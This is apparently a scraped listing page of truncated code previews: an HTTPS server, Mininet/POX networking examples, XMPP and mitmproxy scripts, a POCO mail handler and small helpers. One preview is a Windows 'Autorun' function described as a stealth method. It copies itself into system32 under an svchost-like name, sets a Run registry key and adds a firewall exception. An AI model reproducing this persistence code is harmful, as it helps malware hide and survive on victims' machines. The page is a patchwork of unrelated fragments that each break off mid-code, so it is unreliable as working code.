This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ | |
# generate server.xml with the following command: | |
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes | |
# run as follows: | |
# python simple-https-server.py | |
# then in your browser, visit: | |
# https://localhost:4443 | |
import BaseHTTPServer, SimpleHTTPServer | |
import ssl |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Works with RemoteController: | |
first install and run pox controller: | |
502 git clone http://github.com/noxrepo/pox | |
503 cd pox/ | |
505 git checkout dart | |
511 ./pox.py log.level --DEBUG misc.of_tutorial | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
Example to create a Mininet topology and connect it to the internet via NAT | |
through eth0 on the host. | |
Glen Gibb, February 2011 | |
(slight modifications by BL, 5/13) | |
""" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
""" | |
Works with RemoteController: | |
first install and run pox controller: | |
502 git clone http://github.com/noxrepo/pox | |
503 cd pox/ | |
505 git checkout dart | |
511 ./pox.py log.level --DEBUG misc.of_tutorial |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sleekxmpp | |
class Jabber(sleekxmpp.ClientXMPP): | |
def __init__(self, username, password, instance_name=None): | |
jid = "%s/%s" % (username, instance_name) if instance_name else username | |
super(Jabber, self).__init__(jid, password) | |
self.instance_name = instance_name | |
self.add_event_handler('session_start', self.start, threaded=False, disposable=True) | |
self.add_event_handler('message', self.receive, threaded=True, disposable=False) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Usage: mitmproxy -s maven_stub.py | |
# (this script works best with --anticache) | |
# this script was tested on mitmproxy 18 | |
# MAIN GOAL to help Inteliji idea to get file from inet. | |
# TO make maven in idea work through our proxy see this url: | |
# http://stackoverflow.com/questions/1784132/intellij-community-cant-use-http-proxy-for-maven | |
import sys | |
from mitmproxy.models import decoded |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @name EmailInbound (Mail Message Handler for POCO) | |
* @description Receive and sort emails | |
*/ | |
#include "MyMailMessage.h" | |
/** | |
* POCO::Net::MailMessage | |
*/ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
bool Autorun(char *Path) // complex stealth method: moving to %system32%, autorun, making firewall exception and destruction of first instance | |
{ | |
HKEY key; | |
char runkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; | |
char valuename[] = "svchost"; | |
char filename[61]; | |
char Win_Dir[33]; | |
GetSystemDirectory(Win_Dir, sizeof Win_Dir); | |
sprintf(filename,"%s\\sv�host.exe", Win_Dir); | |
if (strcmp(filename, Path) == 0) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#if define UNICODE | |
#define RegOpenKeyEx RegOpenKeyExW | |
#define RegCreateKeyEx RegCreateKeyExW | |
#define RegDeleteKey RegDeleteKeyW | |
#else | |
#define RegOpenKeyEx RegOpenKeyExA | |
#define RegCreateKeyEx RegCreateKeyExA | |
#define RegDeleteKey RegDeleteKeyA |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import os | |
def chunks(l, n): | |
for i in xrange(0, len(l), n): | |
yield l[i:i+n] | |
try: |